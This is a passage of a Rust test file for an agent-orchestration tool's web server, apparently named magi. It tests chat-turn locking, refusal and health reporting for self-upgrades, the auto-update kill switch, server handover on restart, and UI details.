21371 "implement".to_owned(),
21372 "impl-A".to_owned(),
21373 "Which backend?".to_owned(),
21374 String::new(),
21375 vec!["SQLite".to_owned(), "Redis".to_owned()],
21376 );
21377 ui.questions.put(&mut q).expect("question");
21378 q
21379 }
21380
21381 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21382 (
21383 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21384 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21385 )
21386 }
21387
21388 #[tokio::test]
21389 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21390 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21391 let q = consult_question(&ui);
21392 let talk = ui.talks.get(&id).expect("talk");
21393 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21394 let before = consult_snapshot(&ui, &q, &id);
21395 let cli_talks = Talks::at(ui.home.join("talks"));
21396 assert_eq!(
21397 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21398 .await
21399 .expect("CLI starter"),
21400 crate::consult::Started::Busy
21401 );
21402 assert_eq!(consult_snapshot(&ui, &q, &id), before);
21403 assert!(ui.is_thinking(&id));
21404 drop(guard);
21405 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21406 }
21407
21408 #[tokio::test]
21409 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21410 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21411 let q = consult_question(&ui);
21412 let talk = ui.talks.get(&id).expect("talk");
21413 let started = tmp.path().join("started");
21414 let release = tmp.path().join("release");
21415 let script = tmp.path().join("consult-agent.sh");
21416 std::fs::write(
21417 &script,
21418 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
21419 )
21420 .expect("script");
21421 let mut cfg = stub_config();
21422 cfg.agents[0].id = "mock".to_owned();
21423 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21424 cfg.agents[0].env = std::collections::BTreeMap::from([
21425 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21426 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21427 ]);
21428 let questions = ui.questions.clone();
21429 let cli_talks = Talks::at(ui.home.join("talks"));
21430 let cli_q = q.clone();
21431 let turn = tokio::spawn(async move {
21432 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21433 });
21434 let ready = tokio::time::timeout(Duration::from_secs(30), async {
21435 while !started.exists() {
21436 tokio::time::sleep(Duration::from_millis(10)).await;
21437 }
21438 })
21439 .await;
21440 let refusal = if ready.is_ok() {
21443 let before = consult_snapshot(&ui, &q, &id);
21444 let result = talk_say(
21445 State(Arc::clone(&ui)),
21446 Path(id.clone()),
21447 Ok(Json(NewTalkTurn {
21448 reply_to: None,
21449 text: "another message".to_owned(),
21450 attachments: Vec::new(),
21451 })),
21452 )
21453 .await;
21454 Some((result, before, consult_snapshot(&ui, &q, &id)))
21455 } else {
21456 None
21457 };
21458 std::fs::write(&release, "").expect("release agent");
21459 let done = turn.await.expect("join CLI turn");
21460 ready.expect("agent started before deadline");
21461 let (result, before, after) = refusal.expect("web request");
21462 let error = result.expect_err("web must refuse the CLI's turn");
21463 assert_eq!(error.status, StatusCode::CONFLICT);
21464 assert!(error.message.contains("a turn is already running"));
21465 assert_eq!(
21466 after, before,
21467 "refusal preserves question, draft and history"
21468 );
21469 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21470 let guard = ui
21471 .begin_talk_turn(&id)
21472 .expect("web claim")
21473 .expect("free again");
21474 drop(guard);
21475 }
21476
21477 #[test]
21478 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21479 let home = TempDir::new().expect("temp home");
21480 let talks = Talks::at(home.path().join("talks"));
21481 let ui = Ui::new(
21482 Queue::at(home.path().join("queue")),
21483 Questions::at(home.path().join("questions")),
21484 talks.clone(),
21485 home.path().join("runs"),
21486 home.path().to_path_buf(),
21487 PathBuf::from("/repo"),
21488 )
21489 .with_worktrees_root(home.path().join("wt"));
21490 let id = "20260901-000000-order";
21491 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21492 let slots = ui.talk_turns.lock().unwrap();
21494 let dropper = std::thread::spawn(move || drop(turn));
21495 let start = std::time::Instant::now();
21496 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21497 std::thread::sleep(Duration::from_millis(5));
21498 }
21499 assert!(!talks.turn_held(id), "the lease is released first");
21500 assert!(slots.live.contains(id), "the slot is still held meanwhile");
21501 drop(slots);
21502 dropper.join().expect("join");
21503 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21504 }
21505
21506 #[tokio::test]
21507 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
21508 let fx = Fixture::start().await;
21509 let mut beat = crate::daemon::Status::new();
21510 beat.worker_protocol = None;
21511 beat.pid = 4321;
21512 beat.updated_at = jiff::Timestamp::now();
21513 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21514 .expect("publish a heartbeat");
21515
21516 let res = fx.post("/api/upgrade", None).await;
21517 assert_eq!(res.status, 409);
21518 }
21519
21520 #[test]
21527 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21528 assert!(!should_spawn_recheck(&crate::config::Update {
21529 mode: UpdateMode::Off,
21530 interval: None,
21531 }));
21532
21533 unsafe {
21536 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21537 }
21538 let killed = should_spawn_recheck(&crate::config::Update {
21539 mode: UpdateMode::Notify,
21540 interval: None,
21541 });
21542 unsafe {
21543 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21544 }
21545 assert!(
21546 !killed,
21547 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21548 one-time startup check"
21549 );
21550
21551 assert!(should_spawn_recheck(&crate::config::Update {
21552 mode: UpdateMode::Notify,
21553 interval: None,
21554 }));
21555 }
21556
21557 #[test]
21563 fn recheck_poll_period_tracks_a_short_configured_interval() {
21564 let short = crate::config::Update {
21565 mode: UpdateMode::Notify,
21566 interval: Some("1m".to_owned()),
21567 };
21568 let period = recheck_poll_period(&short);
21569 assert!(
21570 period <= Duration::from_secs(30),
21571 "a one-minute interval must wake the task far sooner than the \
21572 default ceiling, or the deck would not notice within the \
21573 interval the operator configured: got {period:?}"
21574 );
21575
21576 let default = crate::config::Update {
21577 mode: UpdateMode::Notify,
21578 interval: None,
21579 };
21580 assert_eq!(
21581 recheck_poll_period(&default),
21582 UPDATE_RECHECK_POLL_MAX,
21583 "the default day-long interval should poll at the (capped) \
21584 ceiling rather than needlessly often"
21585 );
21586 }
21587
21588 #[test]
21596 fn recheck_skips_the_network_before_the_interval_elapses() {
21597 let dir = TempDir::new().expect("temp dir");
21598 let path = dir.path().join("state.json");
21599 let state = kaishin::UpdateCheckState {
21600 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21601 last_known_latest: None,
21602 last_known_url: None,
21603 };
21604 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21605
21606 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21607 assert!(
21608 !update_recheck_due(&checker, None),
21609 "a check made moments ago must not be repeated before the \
21610 configured interval elapses"
21611 );
21612 }
21613
21614 #[test]
21620 fn recheck_defers_to_an_upgrade_already_in_flight() {
21621 let dir = TempDir::new().expect("temp dir");
21622 let path = dir.path().join("state.json");
21623 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21624 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21625
21626 assert!(
21627 !update_recheck_due(&checker, Some(&progress)),
21628 "a recheck must not run while an upgrade this deck started is \
21629 still moving"
21630 );
21631 }
21632
21633 #[tokio::test]
21634 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21635 unsafe {
21647 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21648 }
21649 let fx = Fixture::start().await;
21650 let res = fx.post("/api/upgrade", None).await;
21651 unsafe {
21652 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21653 }
21654 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21655 let body = res.json();
21656 assert!(body["to"].is_null(), "there was no release to move to");
21657 assert!(body["parked"].is_null(), "and nothing was parked");
21658 assert!(
21659 body["detail"]
21660 .as_str()
21661 .unwrap()
21662 .contains("disabled by MAGI_NO_AUTOUPDATE"),
21663 "{body:?}"
21664 );
21665 }
21666
21667 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
21668 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
21669 p.stage = stage;
21670 p
21671 }
21672
21673 #[test]
21674 fn busy_stages_match_the_ui_set() {
21675 use crate::updater::Stage;
21676 assert!(APP_JS.contains(
21677 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
21678 ));
21679 for s in [
21680 Stage::Downloading,
21681 Stage::Replaced,
21682 Stage::Parking,
21683 Stage::Restarting,
21684 ] {
21685 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
21686 }
21687 for s in [Stage::Done, Stage::Failed] {
21688 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
21689 }
21690 assert!(upgrade_in_motion(None).is_none());
21691 }
21692
21693 #[tokio::test]
21694 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
21695 use crate::updater::Stage;
21696 for stage in [
21697 Stage::Downloading,
21698 Stage::Replaced,
21699 Stage::Parking,
21700 Stage::Restarting,
21701 ] {
21702 let fx = Fixture::start().await;
21703 let seeded = seeded_progress(stage);
21704 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
21705 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21706 .expect("read");
21707
21708 let res = fx.post("/api/upgrade", None).await;
21709 assert_eq!(res.status, 409, "{stage:?}");
21710 let err = res.json()["error"].as_str().unwrap().to_owned();
21711 assert!(err.contains("already in progress"), "{err}");
21712 assert!(err.contains(stage.as_str()), "{err}");
21713
21714 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21715 .expect("read");
21716 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
21717 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
21718 .unwrap_or_default();
21719 assert!(!log.contains("signalling HANDOVER"), "{log}");
21720 }
21721 }
21722
21723 #[test]
21724 fn upgrade_retry_timing_only_parses_known_diagnostics() {
21725 assert_eq!(
21726 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
21727 Some(3723)
21728 );
21729 assert_eq!(
21730 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
21731 Some(60)
21732 );
21733 assert_eq!(
21734 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
21735 Some(0)
21736 );
21737 for message in [
21738 "permission denied",
21739 "GitHub API rate limit exceeded",
21740 "GitHub rate limit (resets in unknown)",
21741 "GitHub rate limit (resets in 18446744073709551615d)",
21742 ] {
21743 assert_eq!(upgrade_retry_after(message), None, "{message}");
21744 }
21745 }
21746
21747 #[tokio::test]
21748 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
21749 let home = TempDir::new().unwrap();
21750 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
21751 ui.start_loop(None).unwrap();
21752 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
21753 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
21754 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
21755 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
21756 let response = finish_upgrade_request(&ui, result);
21757 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
21758 assert_eq!(response.headers()["retry-after"], "120");
21759 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
21760 .await
21761 .unwrap();
21762 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
21763 assert!(body["error"].as_str().unwrap().contains(reason));
21764 assert_eq!(body["retry_after_secs"], 120);
21765 assert!(body["retry_at"].as_u64().is_some());
21766 for _ in 0..2 {
21767 let view = health(State(ui.clone())).await.unwrap().0;
21768 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
21769 assert_eq!(failure, body);
21770 }
21771 assert_eq!(
21772 std::fs::read(updater::progress_path(home.path())).unwrap(),
21773 before
21774 );
21775 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
21776 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
21777 let gate = ui.upgrade_gate.lock().await;
21779 assert_eq!(
21780 upgrade_post(State(ui.clone())).await.status(),
21781 StatusCode::CONFLICT
21782 );
21783 drop(gate);
21784 assert!(
21785 health(State(ui.clone()))
21786 .await
21787 .unwrap()
21788 .0
21789 .upgrade_request_error
21790 .is_some()
21791 );
21792 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
21793 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
21794 assert!(
21795 health(State(ui.clone()))
21796 .await
21797 .unwrap()
21798 .0
21799 .upgrade_request_error
21800 .is_none()
21801 );
21802 let live = ui.lock_loop().live.take().unwrap();
21803 live.stop.stop();
21804 live.handle.await.unwrap();
21805 }
21806
21807 #[tokio::test]
21808 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
21809 use crate::updater::Stage;
21810 let repo = TempDir::new().expect("repo dir");
21811 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21812 .expect("write magi.toml");
21813 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21814 for stage in [Stage::Done, Stage::Failed] {
21815 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
21816 let res = fx.post("/api/upgrade", None).await;
21817 assert_eq!(res.status, 200, "{stage:?}");
21818 }
21819 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
21821 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
21822 }
21823
21824 #[tokio::test]
21825 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
21826 let repo = TempDir::new().expect("repo dir");
21842 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21843 .expect("write magi.toml");
21844 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21845
21846 let res = fx.post("/api/upgrade", None).await;
21852 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21853 let body = res.json();
21854 assert!(body["to"].is_null(), "there was no release to move to");
21855 assert!(body["parked"].is_null(), "and nothing was parked");
21856 assert!(
21857 body["detail"]
21858 .as_str()
21859 .unwrap()
21860 .contains("nothing restarted"),
21861 "{body:?}"
21862 );
21863 }
21864
21865 #[tokio::test]
21866 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
21867 let repo = TempDir::new().expect("repo dir");
21872 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21873 .expect("write magi.toml");
21874 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21875
21876 let health = fx.get("/api/health").await.json();
21877 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
21878 assert_eq!(
21879 health["update"]["available"], false,
21880 "checking is off, which reads as \"unknown\", not \"none\""
21881 );
21882 assert!(health["update"]["to"].is_null());
21883 assert!(
21884 health["upgrade"].is_null(),
21885 "nothing has ever asked this deck to upgrade"
21886 );
21887 }
21888
21889 #[tokio::test]
21890 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
21891 let fx = Fixture::start().await;
21892 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
21893
21894 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21895 progress.parked_run = Some("20260905-000000-cd51".to_owned());
21896 progress.advance(crate::updater::Stage::Parking);
21897 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21898
21899 let health = fx.get("/api/health").await.json();
21900 assert_eq!(health["upgrade"]["stage"], "parking");
21901 assert_eq!(health["upgrade"]["from"], "0.5.1");
21902 assert_eq!(health["upgrade"]["to"], "0.5.2");
21903 let waiting_on = health["upgrade"]["waiting_on"]
21904 .as_str()
21905 .expect("waiting_on is set while parking a known run");
21906 assert!(waiting_on.contains("cd51"), "{waiting_on}");
21907 assert!(waiting_on.contains("implementing"), "{waiting_on}");
21908 }
21909
21910 #[tokio::test]
21911 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
21912 let fx = Fixture::start().await;
21913 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21914 progress.advance(crate::updater::Stage::Done);
21915 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21916
21917 let health = fx.get("/api/health").await.json();
21918 assert_eq!(health["upgrade"]["stage"], "done");
21919 assert!(
21920 health["upgrade"]["waiting_on"].is_null(),
21921 "nothing to wait on once it is done"
21922 );
21923 }
21924
21925 #[tokio::test]
21928 async fn the_handover_signal_wakes_one_waiter_once() {
21929 let signal = Notify::new();
21930 signal.notify_one();
21932 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
21933 .await
21934 .expect("an early signal is still seen");
21935 assert!(
21937 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
21938 .await
21939 .is_err(),
21940 "a consumed signal must not wake a second time"
21941 );
21942 let signal = std::sync::Arc::new(signal);
21944 let waiter = tokio::spawn({
21945 let signal = std::sync::Arc::clone(&signal);
21946 async move { wait_for_handover(&signal).await }
21947 });
21948 tokio::time::sleep(Duration::from_millis(20)).await;
21949 assert!(!waiter.is_finished(), "nothing was signalled yet");
21950 signal.notify_one();
21951 tokio::time::timeout(Duration::from_secs(5), waiter)
21952 .await
21953 .expect("a late signal wakes the waiter")
21954 .expect("join");
21955 }
21956
21957 #[tokio::test]
21958 async fn health_says_how_long_a_handover_has_been_stuck() {
21959 let fx = Fixture::start().await;
21960 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21961 progress.advance(crate::updater::Stage::Replaced);
21962 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
21963 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21964
21965 let health = fx.get("/api/health").await.json();
21966 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
21967 assert!(stuck >= 600, "{stuck}");
21968 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
21969 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
21970 }
21971
21972 #[tokio::test]
21973 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
21974 let home = tempfile::tempdir().expect("temp home");
21975 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21976 progress.advance(crate::updater::Stage::Parking);
21977 crate::updater::write_progress(home.path(), &progress).expect("seed");
21978 let mut again = progress.clone();
21980 again.advance(crate::updater::Stage::Replaced);
21981 crate::updater::write_progress(home.path(), &again).expect("replaced");
21982 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21983 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
21984 let after = crate::updater::read_progress(home.path()).expect("record");
21985 assert_eq!(after.stage, crate::updater::Stage::Parking);
21986 }
21987
21988 #[tokio::test]
21989 async fn health_does_not_call_a_live_parking_wait_stuck() {
21990 let fx = Fixture::start().await;
21991 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21992 progress.parked_run = Some("20260905-000000-cd51".to_owned());
21993 progress.advance(crate::updater::Stage::Parking);
21994 let hours = Duration::from_secs(3 * 3600);
21995 progress.started_at = Timestamp::now() - hours;
21996 progress.updated_at = Timestamp::now() - hours;
21997 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21998 let _lease = crate::updater::LeaseGuard::enter(
21999 fx.home.path(),
22000 Some("20260905-000000-cd51".to_owned()),
22001 );
22002
22003 let health = fx.get("/api/health").await.json();
22004 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22005 assert!(health["upgrade"]["stuck_kind"].is_null());
22006 assert_eq!(health["upgrade"]["handover_alive"], true);
22007 let waiting_on = health["upgrade"]["waiting_on"]
22008 .as_str()
22009 .expect("waiting_on");
22010 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22011 }
22012
22013 fn idle_ui(home: &TempDir) -> Ui {
22014 let runs = home.path().join("runs");
22015 std::fs::create_dir_all(&runs).expect("runs dir");
22016 Ui::new(
22017 Queue::at(home.path().join("queue")),
22018 Questions::at(home.path().join("questions")),
22019 Talks::at(home.path().join("talks")),
22020 runs,
22021 home.path().to_path_buf(),
22022 PathBuf::from("/repo/magi"),
22023 )
22024 .with_launch(launch_idle)
22025 }
22026
22027 #[tokio::test]
22028 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
22029 let home = TempDir::new().expect("temp home");
22030 let ui = idle_ui(&home);
22031 let lease = crate::worker::try_lease(home.path(), "scheduler")
22032 .expect("scheduler lease")
22033 .expect("free");
22034 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
22035 .expect("request stop");
22036 let error = ui
22037 .start_detached_loop()
22038 .await
22039 .expect_err("transition is still live");
22040 assert_eq!(error.status, StatusCode::CONFLICT);
22041 assert!(error.message.contains("still running or stopping"));
22042 assert_eq!(
22043 crate::worker::control(home.path(), "scheduler").unwrap(),
22044 Some(crate::worker::Control::Stop)
22045 );
22046 drop(lease);
22047 }
22048
22049 #[tokio::test]
22050 async fn handover_releases_listener_without_waiting_for_execution_leases() {
22051 let home = TempDir::new().expect("temp home");
22052 let ui = idle_ui(&home);
22053 let turns = ui
22054 .begin_talk_turn("active-chat")
22055 .expect("claim")
22056 .expect("free");
22057 let execution = crate::worker::try_lease(home.path(), "active-task")
22058 .expect("execution lease")
22059 .expect("free");
22060 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22061 .await
22062 .expect("bind loopback");
22063 let address = listener.local_addr().expect("address");
22064 let admissions = Arc::clone(&ui.admissions);
22065 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22066 let successor_started = std::sync::atomic::AtomicBool::new(false);
22067 tokio::time::timeout(
22068 Duration::from_secs(2),
22069 hand_over(home.path(), &admissions, served, || {
22070 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
22071 Ok(1)
22072 }),
22073 )
22074 .await
22075 .expect("restart must not wait for execution")
22076 .expect("handover");
22077 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
22078 let successor = bind_waiting(address)
22081 .await
22082 .expect("successor binds released address");
22083 assert_eq!(successor.local_addr().unwrap(), address);
22084 assert!(turns.owns(), "the chat lease survives restart");
22085 assert!(
22086 crate::worker::try_lease(home.path(), "active-task")
22087 .unwrap()
22088 .is_none()
22089 );
22090 drop(execution);
22091 drop(turns);
22092 }
22093
22094 #[tokio::test]
22095 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
22096 let home = TempDir::new().expect("temp home");
22097 let ui = idle_ui(&home);
22098 let admission = ui.begin_admission().expect("admit send");
22099 let turn = ui
22100 .begin_talk_turn("active-chat")
22101 .expect("claim")
22102 .expect("free");
22103 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22104 .await
22105 .expect("bind loopback");
22106 let address = listener.local_addr().expect("address");
22107 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22108 let successor_called = std::sync::atomic::AtomicBool::new(false);
22109 let handover = hand_over(home.path(), &ui.admissions, served, || {
22110 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
22111 Ok(1)
22112 });
22113 tokio::pin!(handover);
22114 std::future::poll_fn(|cx| {
22117 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
22118 std::task::Poll::Ready(())
22119 })
22120 .await;
22121 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
22122 assert!(
22123 ui.begin_admission().is_err(),
22124 "new ingress cannot race the drain"
22125 );
22126 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
22127 drop(admission);
22128 tokio::time::timeout(Duration::from_secs(2), handover)
22129 .await
22130 .expect("only publication may delay restart")
22131 .expect("handover");
22132 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
22133 assert!(
22134 turn.owns(),
22135 "the detached chat turn is not awaited or cancelled"
22136 );
22137 assert!(
22138 ui.begin_admission().is_err(),
22139 "old accepted connections stay closed"
22140 );
22141 drop(turn);
22142 }
22143
22144 #[test]
22145 fn health_worker_metadata_never_contains_payload_or_result() {
22146 let view = WorkerView::from(crate::worker::Job {
22147 id: "job".into(),
22148 sequence: 1,
22149 kind: "service".into(),
22150 key: "maintenance".into(),
22151 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
22152 generation: "generation".into(),
22153 version: Some("1.2.3".into()),
22154 status: crate::worker::Status::Running,
22155 result: Some("private diagnostics".into()),
22156 pid: Some(4242),
22157 created_at: 1,
22158 finished_at: None,
22159 });
22160 let value = serde_json::to_value(view).expect("serialize public metadata");
22161 assert_eq!(value["version"], "1.2.3");
22162 assert_eq!(value["pid"], 4242);
22163 assert!(value.get("payload").is_none());
22164 assert!(value.get("result").is_none());
22165 assert!(!value.to_string().contains("private"));
22166 }
22167
22168 #[test]
22169 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
22170 let home = TempDir::new().expect("temp home");
22171 let ui = idle_ui(&home);
22172 std::fs::write(
22173 home.path().join("daemon.json"),
22174 serde_json::json!({
22175 "schema": 2, "pid": 4242, "worker_protocol": 1,
22176 "updated_at": Timestamp::now().to_string(), "idle": true,
22177 })
22178 .to_string(),
22179 )
22180 .expect("status");
22181 let reading = daemon::read_status(home.path());
22182 assert!(Foreign::of(reading.as_ref()).is_none());
22183 let view = ui.runtime_loop_view(reading, &[]);
22184 assert!(view.running);
22185 assert!(view.owned);
22186 }
22187
22188 #[test]
22189 fn only_an_explicit_one_requests_a_resume() {
22190 assert!(!resume_requested(None));
22191 assert!(!resume_requested(Some("0".into())));
22192 assert!(!resume_requested(Some("".into())));
22193 assert!(resume_requested(Some("1".into())));
22194 }
22195
22196 #[test]
22197 fn an_error_is_visible_from_where_the_button_is() {
22198 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22203 ..APP_CSS.find(".alert-text").expect(".alert-text")];
22204 assert!(
22205 alert.contains("position: fixed"),
22206 "an error about the thing under your thumb has to be visible from \
22207 where your thumb is: {alert}"
22208 );
22209 assert!(
22210 alert.contains("z-index: 25"),
22211 "above the dock (20) and the run-actions FAB (15), so neither \
22212 buries it: {alert}"
22213 );
22214 assert!(
22215 alert.contains("var(--tap)"),
22216 "and clear of the dock and the home indicator: {alert}"
22217 );
22218 assert!(
22221 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22222 "the FAB's column stays free: {alert}"
22223 );
22224 }
22225
22226 #[tokio::test]
22227 async fn an_older_attempt_says_what_replaced_it() {
22228 let fx = Fixture::start().await;
22229 let q = fx.queue();
22230 let runs = fx.runs();
22231 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22232 write_run(&runs, first, RunStatus::Stalled);
22233 write_run(&runs, second, RunStatus::Blocked);
22234
22235 let mut t = Task::new(
22236 "one task".to_owned(),
22237 "do it".to_owned(),
22238 PathBuf::from("/repo"),
22239 Source::Human,
22240 );
22241 t.runs = vec![first.to_owned(), second.to_owned()];
22242 q.put(&mut t).expect("put");
22243
22244 let rows = fx.get("/api/runs").await.json();
22248 let by = |short: &str| -> Value {
22249 rows.as_array()
22250 .unwrap()
22251 .iter()
22252 .find(|r| r["short"] == short)
22253 .cloned()
22254 .unwrap_or(Value::Null)
22255 };
22256 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
22257 assert!(
22258 by("bbbb")["superseded_by"].is_null(),
22259 "the latest attempt is not superseded by anything"
22260 );
22261 assert!(APP_JS.contains("run.superseded_by"));
22263 assert!(APP_JS.contains("Superseded by"));
22264 }
22265
22266 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
22267 let mut t = Task::new(
22268 "one task".to_owned(),
22269 "do it".to_owned(),
22270 PathBuf::from("/repo"),
22271 Source::Human,
22272 );
22273 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
22274 t.status = status;
22275 t
22276 }
22277
22278 #[test]
22279 fn source_link_picks_the_page_that_filed_the_task() {
22280 let agent = |node: &str| Source::Agent {
22281 run: "20260904-014455-ab12".to_owned(),
22282 node: node.to_owned(),
22283 };
22284 let chat = source_link(&agent("chat")).expect("chat link");
22285 assert_eq!(chat.kind, "chat");
22286 assert_eq!(chat.id, "20260904-014455-ab12");
22287 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
22288 let run = source_link(&agent("implement")).expect("run link");
22289 assert_eq!(
22290 (run.kind, run.href.as_str()),
22291 ("run", "#/runs/20260904-014455-ab12")
22292 );
22293 assert_eq!(source_link(&Source::Human), None);
22294 assert_eq!(
22295 source_link(&Source::Issue {
22296 number: 3,
22297 repo: "o/r".to_owned()
22298 }),
22299 None
22300 );
22301 let odd = source_link(&Source::Agent {
22302 run: "a b/c".to_owned(),
22303 node: "chat".to_owned(),
22304 })
22305 .expect("link");
